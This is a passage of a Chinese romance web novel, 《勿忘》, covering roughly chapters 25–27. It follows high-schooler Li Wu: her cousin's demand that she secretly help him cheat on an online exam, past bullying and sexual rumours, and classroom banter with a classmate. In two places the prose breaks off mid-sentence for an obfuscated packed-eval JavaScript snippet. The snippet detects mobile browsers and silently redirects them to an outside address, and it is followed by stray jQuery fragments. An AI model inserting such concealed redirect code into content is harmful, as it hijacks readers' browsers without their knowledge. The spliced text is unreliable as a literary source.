“那也没办法了。” “算了我出去吧。”黎雾无奈,“你自己在里面慢慢拍,我不打扰你。” 黎雾站在布帘外面,低头看着刚打印出的照片。 一版两张,一人一张。 照片里,少年神情淡漠,脖子上还挂着个粉红色的马海毛大围巾,只露出双眼睛,显得清冷。 身边少女个头只到他肩膀,侧头盯着他看得认真,目光如水,波光流转,莫名显得柔情。 那神情,像极了,爱而不得。 黎雾没忍住打了个哆嗦,指尖无意识地摩挲着照片边缘。 她甚至会怀疑他是故意选了这么个瞬间。 心机深沉的男人。 25.红豆·宇宙 - 《勿忘》【chapter.13 红豆·宇宙】 - “野…草?”等陈忘野拍完照出来,黎雾忽然怯生生地叫他,语音干涩。 某人表情果然很精彩。 他抱起手臂,做出防御姿态,校服袖口因为刚才的动作微微上卷,露出一截线条分明的小臂,“什么事儿?又要和我抢猫?” “没有。”被人一举说中,黎雾扯着嘴角尴尬地呵呵一笑,嘴硬道,“我就是试着叫叫你别的名。” 他眸色懒散,点点头,“哦,你可以叫我‘野野’。” 黎雾斜他一眼,小声嘟囔,“骗我叫你爷爷?我又不傻。” 大概是一眼看穿了她的意图,回班的路上,陈忘野自然而然地开口,“我前两天带猫去做体检了,医生说它确实是英短,不是暹罗。还有…” “还有什么?”黎雾问,脚步放慢。 "不知道该不该说。"陈忘野面露难色,喉结轻轻滚动了一下。 “有什么不该说的。” “不知道会不会侵犯它猫权,小男孩都有自尊的。” “哈?”黎雾眨眨眼,“那方面的病?” “嗯。” “隐睾吗?” “对,不过还没确认。”陈忘野解释,声音不自觉地压低,“医生怀疑它可能是单侧隐睾,目前有一侧没降下来。小猫太小,那个本身也小,现在只是触诊,不算太准确。” “我查了,小猫的睾.丸通常在出生后6-8周下降到阴囊中,部分可能会延迟到3-6个月完成。如果在6个月后仍未降入阴囊,就可以确诊为隐睾。” “早期也没有明显症状,确诊以后做手术就可以。发现得早切除得早就风险不大。” “医生怎么说?”黎雾问,“再观察?” “嗯。”陈忘野点头,“可以定期带去复查一下,但确诊要等到它6个月以后。” “手术费高吗?” “几千块吧。” 黎雾莫名想起了前些天陈明清说他缺钱的事,脑子里纠结了一下要不要给他些钱,顺便把猫的抚养权要回来得了。 这算不算在践踏他的尊严。 这人就像真有读心术似的。 他忽然道,声音里带着几分戏谑,“我还以为你要甩给我一笔钱呢,表面说是手术费,实际是想把猫抢走。” 再次被人一举说中,黎雾真是无奈了,嘴比哪儿都硬:“我又不是恶霸,也不是电视剧里的脑残霸总,干这种事儿多跌份儿呀。” 她忽地抬眼:“你希望我甩给你一笔钱?” 陈忘野话里有话,“我就是在想,这只小猫在你心里值多少钱。” 黎雾才不会下他的套,语气淡淡,“但凡我说了个数字,就已经被你pass了吧。” 她顿了顿,“你肯定要说它是无价的。” 他抱起手臂,话音慢条斯理,“你倒是挺了解我。” “也不是了解。因为我自己是这样的。” 她抬头看他,眸色意外认真,“所以我也说不出那些话。” …… “为什么这么喜欢这只猫。”陈忘野盯着她眼睛,忽然问,“我听说你救过很多。” “有眼缘。”她答,顺势问,“那你呢。” “它既然跟着我回家了,我就有义务保护好它。” 黎雾心想,他自己一个人生活应该很寂寞吧。 相处这么多天下来,她知道他的心不坏,甚至称得上是非常善良,但不是“愚善”。 表面上的“大反派”,实际是将“人不犯我我不犯人”这条准则贯彻到极致。 如果他这么宝贝这只小猫,不愿放手,应该也会好好对它吧。 黎雾说:“之前确实被你看透了,我家长不同意我养猫。但我也不能说同意把这只小猫交给你了,就暂时先寄养在你那里,等我说服我爸妈,有条件了,我就把它接走。” 陈忘野哼了一声,这次倒是没有明确拒绝,他笑了下:“可以啊,等你有条件了就来和我争一争。” - 当晚,黎雾回家准备问妈妈能不能养猫。 一路思绪万千,她刚想好一套完整的说辞,正准备滔滔不绝地输出,没想到拉开家门,她看到了这个世界上她最不想见到的一张脸。 ——黎光耀。 她的表哥,大她两岁,现在在职高念书,正在准备出国留学。 他个子很高,一身浓烈的烟草味,剃着贴头皮的青皮寸,浓眉下压着双鹰隼般的眼睛,看人时习惯性眯起左眼。 黎光耀正要离开,看到门外是她,表情一变,满脸堆笑,皮笑肉不笑,手指还轻浮地划过她脸蛋,撂下意味不明的一句。 “那就拜托你了啊~” 然后面色一冷,他低眸凑到她耳边,呼吸喷在她颈侧,凉飕飕的,一字一顿。 “这是你欠我的。” - 等表哥一家走了,黎雾看到沙发上累得脱力的妈妈,她语调凉凉的,“他们又来找你麻烦了?” “不是。”梁英女士语气轻柔,脸上没有岁月的痕迹,温柔却疲倦。 “什么不是,怎么搞的这么封建呢。”黎雾的语气不自觉地升高,“爷爷奶奶都不在了,他们就是个八竿子打不着的恶亲戚而已,你老看他们脸色干嘛。” “他们是来商量光耀出国的事,他英语成绩不行,现在有点困难。” “那跟你有什么关系啊?”黎雾哼笑一声,极为不屑,“让你给钱啊?还是出力啊?” 妈妈语气温温地说:“不是。现在有个英语考试可以在家里线上考。他们想找个代考。” “所以呢?” 黎雾震惊,指指自己,“找我啊????” “他们觉得找外人不靠谱,怕暴露了再取消资格。”梁英抬眼看黎雾,温吞吞地解释,“他们说,你也不用实际代替他考,到时候你就坐摄像头拍不到的地方……把答案写给他就行。” 黎雾再次震惊于那家人的厚颜无耻,实在荒唐,尾音都不自觉气得发颤,“真是够搞笑的,现在装都不装,不要脸几个大字就写脸上了呗。” “他还敢找我,他就不怕我给他考个负分。” 说着说着,她忽地意识到了什么,问,“你不会答应他们了吧?” “我没有,这不是还要征求你意见吗。”梁英女士的声音变得更弱,却一字一句,句句清晰,戳在人脊梁,“但毕竟是你有错在先,是你害得你当初表哥被附中退学去职高…你小时候还害得你婶婶流产。” “那怎么能是我害的呢,”黎雾的声音突然拔高,又猛地压低,“他黎光耀原本就是塞钱托关系进的附中,德不配位,就是活该。” “大家都是亲戚,你做得太绝了不好。” “他就是个废物,养在家里就完了,还想送出国,还不够丢人现眼吗。” 黎雾语调渐冷,“真那么想出人头地只给他取名叫光耀多没劲啊,就应该叫,黎·光复门楣·光宗耀祖·光泽万代·光凭祖宗十八代烧高香哪能想到盼来了这么个绝世大孙子·耀。” “你别这么说话。”妈妈呵斥她一句,说,“他们想让他出国读个商学院,回来之后进公司就跟着你大伯和你爸一起干。你知道的,当年是你大伯出资最多,我们家没有话语权的。” “光耀虽然成绩一般,但是人性格还算圆滑,会来事儿,在生意场上吃得开。” “真够搞笑的。那我呢?只能去攀别的高枝嫁人是吧。”黎雾的厌恶已经压抑不住,嗓音不重,却字字清晰,“又不是什么几百个亿的大生意,还搞联姻卖女儿这套。” “你不是挺喜欢与昼的吗,小时候总缠着他。” “我是挺喜欢他的,但我也没说要嫁给他啊???这是两码事吧。” “怎么说话呢!他们对咱们家有恩,是恩人。” 话题渐远,黎雾没再执着,话锋一转,“所以猫我也不能养了是吧。” “还在说十年前的事,当年就是因为猫。”像是失望透顶,黎雾的语调第一次凉得发狠,却无比冷静,“我到现在都不为十年前的事后悔,那是他们应得的。” …… “喂,你到底听没听啊。”发散的思绪被耳边一道冷淡的男声拉回,像一根细线突然扯紧了飘远的风筝。 陈忘野无奈地挠挠耳朵,“让我给你讲题,又走神,何苦呢。” “对物理不感兴趣就别勉强了。” 黎雾想起,那天他问她为什么一定要和他一组,不擅长的科目何必强求,她说,她就只是想知道自己的能力边界在哪里。 这话是事实没错,只不过不全面。 而他竟然就这么答应和她一组了,连追问都没有。 陈忘野指指她手里的红豆,“你一心三用,当然做不好了。” 他的目光落在她手边散落的红豆上,那些暗红色的小珠子在试卷上滚动,遮住了"光"和"量子力学"等等高深的词汇。 黎雾手里还在串手绳,动作极其笨拙。胡桃买的红豆到货了,硬拉着黎雾帮她串。阳光照在那些红豆上,折射出温润的光泽。 耳边胡桃还在滔滔不绝,“这个红豆手串呢,就是要配合着我这个塔罗服务一起卖。” “中西结合懂不。水晶我也卖,符咒我也卖。” 她自顾自地解释,“我最近发现来找我还是问姻缘感情的最多,然后都说想要能求姻缘的。” “要说这世间情为何物。”胡桃捏成兰花指,表情夸张,抑扬顿挫,就差用戏腔唱出来了,“不过都是些爱而不得,痴缠妄念罢了。” 见黎雾不搭话,胡桃回身问陈忘野,眼睛亮晶晶的,“话说你知道红豆在意象里代表着什么吗?” 陈忘野摇摇头,阳光在他睫毛下投下一小片阴影,那意思就是,不知道,也没兴趣。 “玲珑骰子安红豆,入骨相思知不知。”胡桃念了句诗,“黎黎,你快给他讲讲,你不是和他一组的吗,他的语文都烂成这样了你不管管?” 她说着就斜眼瞥了下黎雾手上串的乱七八糟的手串,突然噗嗤笑出声:“啊,算了,要不你还是别帮我了吧。” 她拿起那串歪歪扭扭的手链,面露难色,“你做的这个也卖不出去啊。” 线穿得歪歪扭扭,豆子也是随便从盒子里拿的一颗,形状不规则也不标准。 胡桃也不是要责怪她,语调软了些,“诶呀,我之前不是说了吗,这盒红豆质量参差不齐的,咱得挑好看的串。” “哦哦我刚刚脑子里一直想那道物理题呢,有点走神了。”黎雾抱歉地笑笑,莫名显得低落,“你等我先把那道题算出来,晚上回家我再帮你串吧。” 其实她脑子里也没在想物理题,而是在想昨晚和她妈的对话。那些话语就像细小的刺,扎在心头,拔不出,只是难堪。 “算了算了,你还是别拿回家了,丢三落四的。”胡桃摆摆手,“到时候你拿回家做不好让你妈看见,又要说了。” “最后全是阿姨帮我做,我还是别给她添麻烦了。她本来就够累的了,到时候她说你,你又烦,你俩矛盾更激化。” “我俩有啥矛盾。”黎雾的手指无意识摩挲着红豆。 没什么太大矛盾,却总想逃避。 “你手太笨了。”陈明清突然插话,“你让我哥给你做,他手巧。” “前几天上通技课,串珠子串灯笼什么的,他都串得贼快。咱几个的作业不都是他串的。” 黎雾承认,自己是真没做手工的天赋。 不仅是做手工,那些传统意义上女生该会的东西她都做不好,做饭炸厨房,穿针扎手指,洗衣串颜色,书包乱糟糟,衣柜像爆炸。 正可谓琴棋书画不精通,生活技能还低下,要是生在古代那就是最招人嫌的闺秀,任凭父母费尽心思,也难教出“宜室宜家”的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393436|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 别说才子佳人,估计连媒婆都懒得登门。 只可惜生在现在也换汤不换药,她得到最多的评价就是,“你怎么一点女孩子样都没有”。 这些指点像是鬼打墙一般,时常在生活中出现。 昨晚也是,吵架吵到一半,梁英女士看着她乱糟糟的房间,突然叹口气:“还说嫁人呢,要让人知道你乱成这样…” 黎雾瘫到床上,从书包里翻出折了角的卷子,摊平,打断了她:“所以说啊,不嫁不就好了。” “我要不是你妈,才不会管你。”看出来她不耐烦,妈妈一边说,一边把地上的袜子捡起来,又帮她把书桌上的东西归整好,“长这么大该懂事了。” 就您懂事。 一辈子都在为别人收拾烂摊子。自己家的收拾不够,现在还去收拾别人家的。 到嘴边想怼回去的话又被她咽了下去,类似的话她说过太多次,可每次说完后看到妈妈脸上复杂的表情,她又觉得自己的刺像扎进了软绵绵的泥土里。 她不相信血缘。所谓亲人什么的,原本就该建立在互相尊重互相扶持的关系之上。 对于她表哥一家,她根本不屑一顾,与其说是不在乎,而是她早就想清楚了对付他们的办法。 可对于妈妈,她更多的是心疼和无助,想做一个省心的“好女儿”,却有心无力。 她妈妈就是个典型的贤妻良母,在她心里,“家”和“亲情”大于天。 她小时候家里穷,连电费都交不起,初中毕业就辍学,早早来城里打工供弟弟读书。后来遇见她爸爸,俩人日子依旧过得苦,靠卖盗版碟,胶卷维持生活,直到遇到贵人相助,事业才终于有些起色。 如今,她被养在家里,表面是个太太,实际却毫无话语权。被嫌弃学历低没本事,不能过问生意不说,还要应付亲戚们的刁难。偏偏她性格温吞,早已习惯凡事忍让。 但也正因为如此,黎雾才从骨子里抗拒这样的人生。像一条早已铺好的铁轨,笔直地延伸向远方,却从未问过自己想去哪里。 值得吗? 思绪再次跑偏,她摇摇头回神,抬眼看到陈忘野已经放弃了对她的物理指导。少年修长的手指正将卷子对折,纸页发出轻微的沙沙声,随后他整个人陷进椅背,像只慵懒的猫。 他低着头,正在懒洋洋地翻一本闲书。 书是从身后图书角拿的,书脊上还贴了标号贴。 图书角的书都是班里同学应语文老师的号召捐的,绝大多数都是些应付交上来的竞赛习题集,偶尔有几本封面鲜艳的言情小说,不用猜就知道是胡桃的杰作,正经书没两本。 黎雾瞥了眼封面,挑起眉稍,“你对这书感兴趣?” 陈忘野没掀眼皮,指尖捻过一页,懒洋洋应了一声,“一般。” “那你还看。” 这么多书里,他恰巧拿的是她捐的一本。 他慢悠悠地翻到结尾,合上了书页,“物理你是不学了,那就不学,你对宇宙啊,量子啊原子啊也不感兴趣。” “你就跟那歌里唱的一样。宇宙的有趣,我才不在意~” “但我这不是还想提高语文吗。”陈忘野语调淡淡,明明是恭维的话,从他嘴里说出却总像讽刺,“看看我们满分作文大佬平常都在看什么。” “你怎么知道这是我的书?”黎雾问。 “这还不明显?”陈忘野翻开内页,露出密密麻麻的彩色标注,“花花绿绿的贴纸,荧光笔划的线,里面还夹了煤球的大头贴书签。” "啊!"黎雾伸手去抢,“我说我怎么找不到那张汤圆的照片了,原来在书里。” “我看完了,还你吧。”陈忘野把书推过来,书脊在桌面上划出细微的声响。 “这么快?能学到东西吗?” “你都把关键点用彩笔标出来了,当然看得轻松。” 他的话说得轻飘,掀起眼皮,“不过光看你做的这些标记,也能知道你对什么话题感兴趣。” 听到这话,黎雾来了兴致,“什么话题?” 陈忘野答:“你书里写了个便签,上面有个问题,问了,但没写答案。” 他把便签举起,展示在她眼前。 ——「为什么“她”似乎总是妄图背负母亲的命运,无法摆脱?」 “你找到答案了?”她问。 “写好了,给你。检阅一下?”陈忘野把便签递到她手里。 黎雾低头看,他的字迹飘逸清晰,墨迹被冬末初春的光线晕染开来: 「因为母亲不是一个人,而是一代代压抑和期待的集合体。她不仅是她自己,也是她的母亲,她母亲的母亲——一个循环的节点。而“她”身为女儿,也成了这个循环的一部分。 真正的摆脱,不是断开她的束缚,而是接纳她的局限。 她是时代的产物,“她”也是。 走一条和她不同的路,不是为了否定她,而是为了活成自己。」 …… “这么空泛。”黎雾故意逗他,“没有具体的解决方法?” 陈忘野扬扬下巴,“具体的事,你不是已经在做了吗,还用我赘述?” 黎雾撅嘴,突然良心发现了一般,“你都这么认真了,我这个老师是不是也应该给你讲讲语文,讲讲意象。” “红豆我还是知道的。”陈忘野语气幽幽,“相思而已。” 大概是被陈忘野刚刚哼的那句歌词吸引了,胡桃戳戳手机,放了首歌,旋律从手机音响缓缓流出—— “宇宙的有趣我才不在意 我在意的是你牵我的手 而乱跳的心” 黎雾忽然笑了,“谁说我对宇宙啊,量子啊原子啊不感兴趣了。” 她把自己串的歪歪扭扭的手串在他眼前晃晃,递到他手里。 虽然寒碜,但也是心意。 她笑笑,语气轻快。 “用一颗红豆换一个宇宙。” 26.身体·接触 - 《勿忘》【chapter.14 身体·接触】 - 结果就是,没换来宇宙,换来了两个小时的折磨。 "这题到底怎么做?"黎雾耐着性子问。 陈忘野头也不抬,还在纸上画着示意图:"你得先理解背后的原理。" "题怎么做?" "这些都是相通的。" "题、怎、么、做?" 有人就是这样,当学生的时候卷卷满分,当老师就是另一回事了。总觉得什么都很简单,恨不得三步并作两步讲,跳得比兔子还快。 理论讲得天花乱坠,就是不告诉她答案怎么算的。末尾五分钟他才慢悠悠地瞥了眼题目:"哦,这个啊,带个公式就行。" 她跟不上,他倒莫名其妙:"啊?这不是很好理解吗?" 她急了,他还人身攻击,说她物理基础太差,只会刷题,考试都是靠死记硬背。 还宇宙呢,电磁题都算不明白。 呵。 气得黎雾差点把红豆砸他脸上。 一周后,物理小测。 不出意外。 她一点进步也没有。 - 冬末初春的教室,暖气烧得燥热,空气干得像被烘烤过。 每次跑操回来,脱掉外套时都能听见细微的"噼啪"声,校服吸在身上,像一层静电织成的网,黎雾不得不反复拍打,才能让布料乖顺地垂下来。 传卷子时,她的指尖不经意擦过陈忘野的手背——"啪!" "啊!"黎雾猛地缩回手,反应比被烫到还夸张,"电死我了!"她倒打一耙,眼睛瞪得圆圆的,像只炸毛的猫。 不知道是不是刻意和他作对,报复他物理补习无效,这已经是连续第三次了。 陈忘野靠在椅背上,挑眉抱臂:"什么意思,天天对我放电?"他的声音懒洋洋的。 "湿毛巾也给你放了,"他指了指暖气片上被推挤到一旁的毛巾,皱巴巴地蜷缩着,"你嫌它占地方,影响你烤红薯了是吧?" "不行就买个小加湿器,"他扫了眼她堆满杂物的课桌——颈椎按摩仪、迷你打印机、拍立得相机,活像个小型电器展,"反正你这儿也不差多一个。" “不行。”黎雾摇头,“教室里不能用小电器,会被没收的。” "是吗?"陈忘野嗤笑,"那你这些——"他一一数过去,"按摩仪、打印机、充电支架,怎么没见你少用?" 陈明清突然从旁边探出头,啧啧称奇,控诉黎雾,“你看看你给我哥逼的,平常那么惜字如金,跟谁说话都是,懂?滚,什么的,到你这怎么就噼里啪啦噼里啪啦地输出呢。” 黎雾没理他,接着和陈忘野聊天,“那不一样,那些可以偷偷用,但加湿器一用,吞云吐雾的,太明显了。” “就非得电我?”陈忘野气得发笑,“真不是故意的?” "不知道为什么,"黎雾无辜地眨眼,"每次碰到你,虽然会被电一下,但之后静电就没了。"她顿了顿,"我觉得挺神奇的,就多试了几次。" 陈忘野无语:“那是因为我扶着暖气片呢,接地。” “哦!原来如此。”她恍然大悟,随即惊叹,“你是什么铁砂掌吗,暖气片都能扶,我碰一下都觉得烫,所以才用它保温我的红薯。” 陈忘野叹口气,“我没你那么娇嫩。” …… 第二天,黎雾的课桌上出现了一个小巧的喷雾瓶。 她回头,“你给我的?” 陈忘野“嗯”了一声,扯扯衣领,像是有些不自在,“去静电的,你每天把我电得不行。” 他顿了顿,又补充,“有时候看你头发炸毛像个狮子,看得我也难受,挡着我视线,黑板都看不清了。” 黎雾拿起瓶子,轻轻一按,细密的水雾散在空气中,带着淡淡的木质香气。 “你自己做的?”她问。 “你怎么知道?” “因为这里面有香味啊。”她凑近嗅了嗅,“和你身上一样的,榛子味,是精油吗?” 胡桃凑过来,像小狗一样吸吸鼻子,“什么味,我怎么没闻到?” “就是木香和青榛子的味道呀。”黎雾小声嘀咕,“你之前不是说他香吗。” 胡桃继续嗅着:“真没闻到。我当时说香,只是说他看起来很干净的意思,我又没凑上去闻过。” 她朝黎雾挤眉弄眼,明摆着调侃,“这可不是社交距离能闻到的吧。” “你身上辣条味太浓了。”黎雾面不改色,“要不你扑他身上试试?” 闻言,陈忘野默默地拽过搭在椅背的羽绒服,把自己裹了个严严实实,下巴抵在桌上,一副严防死守的架势。 “哥,给我闻闻。”陈明清凑上来,一把扯开他的外套,埋他脖子里,狠狠吸了一口,“哥你真的好香啊,怪不得女生都喜欢你呢。” 他撅嘴,“这不会就是你的小心机吧,你用的什么,给我也推荐推荐。” “滚。”陈忘野微笑。 趁着混乱,黎雾回身,指尖伸过来,轻触了下他手背,随即移开。 “啪”的一声,又电了他一下。 她自顾自地嘟囔:“好像不怎么管用呢,但香倒是挺香的。” “我喜欢。” “不是。”陈明清的目光在他哥和黎雾身上来回转悠,啧啧道:“你俩这不对劲啊。” “身体接触都这么自然了?” “过两天是不是准备用嘴电他了?” 胡桃插话,“用舌头。” “舌头也能有电吗。”黎雾歪头,一本正经发问。 陈明清笑得猥琐,用手肘捅了捅他哥,“你找个人试试不就知道了。” 黎雾自己坦坦荡荡,脑子里干干净净,自然不羞,没想到某人可不是。她回身传卷子的时候,看到陈忘野还趴在桌面,头埋在羽绒服里,没露脸,不知道是想到了什么画面,耳尖泛红。 “哔——”活像个冒热气的蒸汽机。 都不像他了。 “行了哥,收敛点。”陈明清憋着笑怼他,“快藏不住了。” - 时间像被风吹散的雪花,转眼到了月考,黎雾的物理成绩依旧毫无起色,而陈忘野却因为被她按头写了作文,成绩像坐了火箭,直接冲进年级前十。 黎雾咬牙切齿地戳着手机屏幕,浏览器页面正显示着一条《高中孩子物理学不明白的几种原因》: 1、抽象概念多,依赖逻辑推导 2、死记硬背,忽视理解 3、刷题低效,不重反思 "……"她啪地关掉手机,额头抵在桌面上,发出沉闷的哀嚎。 ——这不就是陈忘野那天说过的话吗? 某人前几天捏着她的物理卷子,眉头微蹙:"高考物理确实有‘套路化’倾向,靠刷题也能混个不错的分数。"他顿了顿,抬眼瞥她,"但我那天听陈明清说了,你还有报竞赛的意愿。" "高考筛选的是‘标准化解题能力’,竞赛筛选的是‘物理直觉与创造力’。"他指尖点了点她卷子上的一道错题,"你这套死方法,走不远的。" 黎雾当时不服气地反驳:"那你倒是教啊!" 陈忘野只是懒洋洋地往后一靠:"教了,你听吗?" ——现在想想,还是气得牙痒。 窗外阳光渐暖,春天已经悄然降临。 教室内温度不高,暖气依旧烧着,黎雾趴在桌上刷手机,胡桃突然发来一条学校树洞的帖子。 她先看到的是评论区: “突然觉得,认认真真做操一点都不蠢,好漂亮。” “帖子里这个带黑色兔耳朵发绳的女生是谁啊?太可爱了。” “黎花花啊。” “怪不得呢,果然还得是美女啊,干什么都养眼。” “那她侧前方的小胖子是谁?” “不知道啊。” “和黎雾出现在一个视频还挺尴尬,尤其是她也那么卖力,对比更明显了。” “东施效颦?” 黎雾眉头一皱,手指悬在屏幕上方,迟迟没点开视频。 最近天气转暖,跑操改回了广播体操。 中学时代,大家似乎都默认"认真可耻"——不能承认自己是"做题家",不能显得太努力。"卷"可以,但必须假装没卷。"学霸人设"不如"天赋人设"吃香。 于是课间操也成了某种奇怪的表演——动作幅度越小越酷,谁认真谁就输了。 黎雾原本也不算认真做操的,纯粹是因为懒,再加上冬天穿得多,动作施展不开。但某天,她注意到斜前方有个外班的女生,做操时动作标准又舒展,像一棵迎着阳光生长的小树,充满生命力。 黎雾觉得她好看,于是也开始认真做操。 ——直到今天看到这个帖子。 她终于明白,为什么最近那个女生的动作突然变得拘谨了。 她看过一句话,“偷感”太重的年轻人,连努力都要偷偷摸摸。 但那个女生的“偷感”并不来自于“努力羞耻”,而是“对比”和“恐惧”。 她翻着翻着又看到一条评论。 “我初中的时候就是这样,后来被霸凌了。” 胡桃给他们几个人都转了这个帖子。 身后,陈忘野似乎恰巧翻到这条评论,语气沉沉:“霸凌啊。” 陈明清小声嘟囔,“霸凌,都是小事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393437|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他指指黎雾,“她不仅被霸凌过,还被造过黄谣。” 教室里的暖气嗡嗡作响,陈忘野的笔尖在纸上顿住,墨水晕开一小片阴影。 "初二那年。"陈明清的声音像是从很远的地方传来,"我和胡桃刚好去德国交换,就一个学期......" “她被整整霸凌了一个学期,愣是忍着没告诉我们。” “我们回来的时候天都塌了。”他的手指在空中划了个弧线,又重重落下。课桌发出"咚"的一声闷响。 他说到一半突然卡住,转向黎雾,“可以说吗?” 黎雾正用橡皮擦蹭着桌角的涂鸦,闻言抬起头。 "嗯,无所谓。"她笑了笑,橡皮屑像雪花一样从指间飘落,"都过去了。" 陈明清松了口气,语速突然加快:"上次说的她和''杨过''的冲突就是因为这个。当时杨过是那几个高中部混混的班主任,不但不主持公道,还当着全班的面把她叫出去,要她''自证清白''......" 窗外的枯树枝在风中轻轻摇晃,投下的影子像一道道阴影。 “黎雾表哥原来也是附中的,拿钱塞的。他朋友喜欢黎雾,表白被拒就造黄谣,P那些恶心的图......"陈明清的声音越来越低,"他们以为她会哭着辩解,结果她直接报警了......" 黎雾记得那天警局冰冷的座椅。记得做笔录时女警递来的那杯热水,热气在冷空气中扭曲消散的样子。记得自己平静地交出录音和截图时,警察脸上闪过的诧异。 "最后造谣的被开除,起哄的被记过。"陈明清说完,周遭陷入短暂的沉默。 黎雾想起来前些天班里有男生开玩笑说她“嗲”,陈忘野在身后重重地蹬了他的椅子。 这些事,他大概也略有耳闻吧。 黎雾还记得,那时候,最初她只是被人说嗓子细,嗲,装,后来演变成骚浪贱,再演变到“她可随便了”,他们看到了她和男的进酒店,别看她表面清高,其实给钱就给睡。 爸爸不在家,她和妈妈说了这件事。 妈妈说,他们怎么不说别的同学就说你啊,是不是你太招摇了。低调些,少说话,好好和同学相处。 …… 胡桃突然"啪"地合上书本:"要是我遇到这种事......"她的指甲无意识地刮擦着书皮,“我想起来小时候看的古装脑残剧里,女主被污蔑不清白,拿个木棍就给他们表演了个血溅当场。我靠,震撼了我一整个小学时代。” 黎雾轻笑:"你小学都看的什么啊......" "黎黎说过,"胡桃转头看向窗外,"对谣言最蠢的就是急着自证清白。真相就像太阳,不需要证明它的存在。而那些造谣的人......" "不过是对着月亮狂吠的野狗。"黎雾接完下半句,声音极轻。 她记得更早的时候,那些流言刚起时,自己站在办公室里的场景。母亲佝偻的背影,不断搓动的双手,卑微到尘埃里的道歉:"老师您多包涵,是我没教好女儿......" 窗外挤满看热闹的同学。 他们的窃窃私语像毒蛇般钻入耳朵。 那一刻,比被造谣更痛的是发现最亲的人不会保护自己。 …… 低头再次看着那条“课间操”的树洞帖子,黎雾脸色渐阴,她转头问胡桃,“你知道怎么联系管理员吗,我想把这条删了。” “不知道。”胡桃面露难色,“要不你去跟那个女生说下,说你觉得她做操挺好的。” “我现在去说,真诚都会被当成虚伪。”黎雾摇头,“那是她的课题,别人参与不了。” ——还好,一周后,那个女生又恢复了往日的状态。 事情就算告一段落。 - 这天下操后,黎雾美滋滋地挽着胡桃的手回班,还沉浸在刚刚的情绪中,她是真心地替那个女生开心。 刚进班,陈明清就火急火燎地冲过来,“出事了!” “怎么了?” “你知道树洞吧?那上面最近有个帖子火了。” “我做操那个帖子?” “不是,是这个。”陈明清直接把手机怼到她眼前。 屏幕上是一张照片—— 清晨的校墙边,一个黑衣少年懒散地倚着墙,没穿校服。他低着头,面前站着一个戴黑色兔耳朵发绳的女生。 少年姿态散漫,虽然看不清五官,但因肩宽腿长,气质出众,格外扎眼。 但最扎眼的是他指间那根未燃尽的烟,火星明灭,烟雾缭绕。 黎雾呼吸一滞。 陈明清的声音在耳边炸开: "黎雾。" "我哥,他要被记过了……" 27.知情·不报 - 《勿忘》【chapter.15 知情·不报】 - 这句话刚落下,广播忽地响起,刺破寂静:“请高二(1)班黎雾、陈忘野到年级办公室。” 杨过特有的沙哑嗓音从喇叭里钻出来,吓得胡桃一个激灵,手里的笔"啪嗒"掉在桌上,"完了完了,"她搓着手臂上激起的鸡皮疙瘩,"我现在听到广播念男女生的名字就PTSD,上学期他就是这么抓我和陈明清的。" 她撇撇嘴,"就因为我俩勾肩搭背走个路,非说我们早恋。" “杨过”是他们班的物理老师,是个老古董,教学素质一般般,倒是有股老学究般的“自视甚高”。 整个人一副老干部形象,喜欢手背后像个大领导一样在年级里巡查,下一步要升年级主任了,这就已经开始起范儿了。 这人一直看不惯学校这种放养式教育,觉得应该严进严出,没有规矩不成方圆。 他是校内真正的风纪委员,校园杀手,年级副教导主任。 这一生战绩累累,小情侣校内拉手被他撞见记过都是常规操作,甚至在校外见到穿着附中校服的男女生举止亲密,都得被他抓回学校记过。 最离谱的是,之前隔班有女生给男生送情书被撕碎扔进垃圾桶,他都捡出来用胶条拼好,再给这个女生记了个过。 姓杨,真名不详,无人在意。 他们给他起了个亲切的外号,“杨过”。 说实话,黎雾挺看不上这种老师的。 说着说着,胡桃突然眼睛一亮,用手肘捅了捅陈明清:"诶,但你不觉得他俩名字一起被念还挺浪漫的吗?被记个早恋也不算亏。" “浪漫个头啊…”陈明清瞪她一眼,"你忘了上学期写检讨写到凌晨三点了?" 窗外天阴了些,零上的温度,水汽凝不成雪花,化作细雨轻轻飘着。 “他在哪?”黎雾问。 "刚被老郝叫去谈话了。"陈明清抓了抓头发,"我看他那副死样子,八成是没认罪......" ...... 去年级办公室的一路,黎雾步速不快,指甲不自觉抠着手心,她的大脑飞速运转,把所有可能性都推演了一遍。 老师既然同时叫了他们两个,肯定是起了疑心。也是,照片里那个男生——身高、轮廓、气质,整个学校除了陈忘野还能有谁? 但以他的性子,绝不会乖乖认罪。 如果他们俩都死不承认,反而显得可疑。 最好的办法就是—— 她认,保他。 她可以承认照片里戴兔耳朵发绳的是自己,但对面的男生?不认识。反正他没穿校服,咬死说是隔壁职高的就行。至于那根烟?光线问题,看错了。 打定主意,黎雾深吸一口气,推开了办公室的门。 门轴发出刺耳的"吱呀"声,陈忘野已经站在那里,单手插兜,校服外套松松垮垮地挂着,露出一截冷白的腕骨。 杨过坐在他对面,眼镜滑到鼻尖,镜片反射着手机屏幕的冷光,正眯着眼反复放大手机上的照片——画面定格在那根冒着火星的烟头上。 黎雾走到陈忘野身边半步距离,鞋尖停在他的影子边缘,她能闻到他身上若有若无的香味,混合着雨水的气息。 她抬眼,对上他的目光。 